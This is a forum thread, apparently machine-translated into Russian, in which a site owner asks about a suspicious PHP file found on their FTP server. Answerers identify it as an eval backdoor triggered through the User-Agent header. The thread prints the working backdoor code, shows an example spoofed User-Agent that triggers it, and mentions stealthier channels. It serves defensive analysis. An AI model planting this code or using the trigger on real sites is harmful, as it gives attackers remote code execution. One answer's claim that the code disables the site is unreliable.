hackage — подозрительный файл PHP может

Сегодня я ищу вашу помощь, чтобы получить справку о файле, который я нашел на своем FTP сегодня утром. Я не профессионал во всех этих функциях PHP, поэтому я публикую его здесь.

Я нашел файл с именем index.php в папке вложенных изображений.

Есть необработанный код:

<?php

if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }

?>

Две функции PHP

Для функции Eval () они говорят, что это очень опасно.

предосторожность Языковая конструкция eval () очень опасна, поскольку она позволяет выполнять произвольный код PHP. Таким образом, его использование не рекомендуется.
Если вы тщательно проверили, что нет другого выбора, кроме как
используйте эту конструкцию, обратите особое внимание, чтобы не пропустить ни одного пользователя
предоставил данные в него без надлежащей проверки их заранее.

Вот почему я думаю, что кто-то может попытаться взломать мой сайт или даже больше.

Кто-нибудь имеет возможность расшифровать это и объяснить мне?

Спасибо,

0

Решение

Начнем с самого начала.

  • eregi является устаревшей функцией, начиная с PHP 5.3.0.
  • eregi является регистронезависимым регулярным выражением.

Итак, что это делает?

if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) {

Если final находится в HTTP_USER_AGENT, затем….

Замените «Mozilla / 5.0 (3.1.final)» на [пусто] в HTTP_USER_AGENT, И убей сценарий.

Заключение

Это неэффективно с точки зрения изменения данных на вашем сайте, но сделает ваш сайт «мертвым» для всех, у кого есть слово final в их пользовательский агент — которая, я думаю, будет финальной версией каждого основного браузера; хотя я не могу найти источник по этому вопросу.

редактировать

eval меня удивило Поскольку очевидно, что ты не положил это здесь, eval оценит код и выполнит его — что касается атаки. Единственный способ получить удаленный код для выполнения на вашем сайте — «подделать» своего пользовательского агента, убедившись, что у него есть фраза Mozilla/5.0 (3.1.final) там следует весь код, который они хотят выполнить. Например;

Я подменю свой пользовательский агент, чтобы стать

Mozilla/5.0 (3.1.final)  echo 'Lol, you got hacked'

Из-за str_replace, экран будет просто отображать слова Lol, you got hacked так как eval выполнит echo, Конечно, злоумышленник поставит гораздо вреднее команды для оценки. Удалить этот код немедленно

2

Другие решения

Да, это простой eval backdoor, установленный так, чтобы кто-то мог вернуться в любое время позже и использовать ваш сервер для всего, что он хочет.

Он принимает строку агента пользователя, начинающуюся с Mozilla/5.0 (3.1.final) (которая не является реальной строкой пользовательского агента) и обрабатывает оставшуюся часть строки как код PHP, который выполняется через eval вызов.

(Странная часть заключается в том, что для этого они использовали пользовательский агент, поскольку это поле регулярно регистрируется в стандартных веб-журналах. Использование поля POST или файла cookie было бы гораздо более скрытным.)

3

По вопросам рекламы [email protected]